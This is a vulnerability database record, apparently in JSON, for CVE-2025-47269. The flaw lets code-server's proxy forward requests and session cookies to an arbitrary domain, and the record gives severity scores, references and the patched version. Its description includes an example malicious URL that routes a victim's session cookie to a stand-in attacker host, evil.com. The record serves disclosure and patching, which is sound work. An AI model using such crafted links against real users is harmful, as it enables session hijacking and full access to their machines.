{"id":"CVE-2025-47269","published":"2025-05-09T20:59:01Z","modified":"2025-05-10T01:45:13Z","title":"code-server session cookie can be extracted by having user visit specially crafted proxy URL","vendor":"coder","product":"code-server","tier":"tail","description":{"text":"code-server runs VS Code on any machine anywhere through browser access. Prior to version 4.99.4, a maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token. Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL `https://<code-server>/proxy/test@evil.com/path` would be proxied to `test@evil.com/path` where the attacker could exfiltrate a user's session token. Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy. Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies. With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server. This issue has been patched in version 4.99.4.","provenance":"source","from":"CVE.org"},"cvss":{"score":8.3,"severity":"HIGH","version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L","provenance":"source","from":"CVE.org CNA"},"epss":{"score":0.01003,"percentile":0.61864,"provenance":"source"},"cwes":[{"id":"CWE-441","name":"Unintended Proxy or Intermediary"}],"references":[{"url":"https://github.com/coder/code-server/security/advisories/GHSA-p483-wpfp-42cj","tags":["x_refsource_CONFIRM"]},{"url":"https://github.com/coder/code-server/commit/47d6d3ada5aadef6d221f3d612401eb3dad9299e","tags":["x_refsource_MISC"]},{"url":"https://github.com/coder/code-server/releases/tag/v4.99.4","tags":["x_refsource_MISC"]}],"priority":{"score":18.2,"factors":[{"name":"EPSS percentile","points":12.37},{"name":"CVSS severity","points":5.81}]},"vendorSlug":"coder","affectedVersions":[{"vendor":"coder","product":"code-server","versions":["< 4.99.4"]}],"ssvc":{"exploitation":"none","automatable":"no","technicalImpact":"total","timestamp":"2025-05-10T01:44:34.818502Z","from":"CISA ADP","provenance":"source"},"affected":[{"ecosystem":"npm","package":"code-server","vulnerableRanges":["<4.99.4"],"patched":["4.99.4"],"from":["GHSA-p483-wpfp-42cj"],"provenance":"source"}],"summary":{"text":"The code-server product (from coder) has a flaw in its built-in proxy handling, where the port is not properly validated, letting a crafted /proxy URL redirect requests to an arbitrary domain and thereby expose the user's session cookie. An unauthenticated remote attacker can exploit this by getting a user who runs code-server with the built-in proxy enabled to click a maliciously crafted link, after which the attacker can use the stolen session token to log into code-server and gain full access to the host as the user running it.","provenance":"ai","model":"claude-haiku-5-5","generatedAt":"2026-11-20T06:33:18Z"},"euvd":{"id":"EUVD-2025-14189","exploited":false,"provenance":"source"},"lineage":{"familyId":"fam-coder-code-server-cve-2023-26114","parents":[{"from":"CVE-2023-26114","to":"CVE-2025-47269","relation":"related","confidence":"medium","kind":"lineage","evidence":[{"kind":"same-code","provenance":"machine","files":["src/node/routes/pathProxy.ts"],"commits":["https://github.com/coder/code-server/commit/d477972c68fc8c8e8d610aa7287db87ba90e55c7","https://github.com/coder/code-server/commit/47d6d3ada5aadef6d221f3d612401eb3dad9299e"],"basis":"rarely changed file"}]}]}}